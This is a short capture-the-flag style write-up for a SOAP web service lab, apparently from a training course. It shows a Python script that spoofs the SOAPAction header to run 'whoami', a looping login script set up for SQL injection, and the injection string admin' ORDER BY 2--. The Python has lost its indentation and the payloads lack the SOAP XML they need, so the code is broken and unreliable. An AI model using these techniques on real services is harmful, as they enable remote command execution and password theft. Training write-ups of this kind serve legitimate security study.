# Skills Assessment
* Submit the password of the user that has a username of "admin". Answer format: FLAG{string}. Please note that the service will respond successfully only after submitting the proper SQLi payload, otherwise it will hang or throw an error.
Let us try a SOAPAction spoofing attack, as follows:
```
import requests
payload = 'whoami'
print(requests.post("http://10.129.246.72:3002/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
```
> We notice that thee is a `cmd` parameter. I’ll build a python script to issue requests:
So I’ll modify to perform a login request and do the SQLi -->
```python
import requests
while True:
user = input("User: ")
passwd = input("Passwd: ")
payload = f'{user}{passwd}'
print(requests.post("http://10.129.202.133:3002/wsdl", data=payload, headers={"SOAPAction":'"Login"'}).content)
```
Now, we can do the SQL Injection here --->
Nice! BUT... we need the flag... I will try to do `admin' ORDER BY 2--` -->
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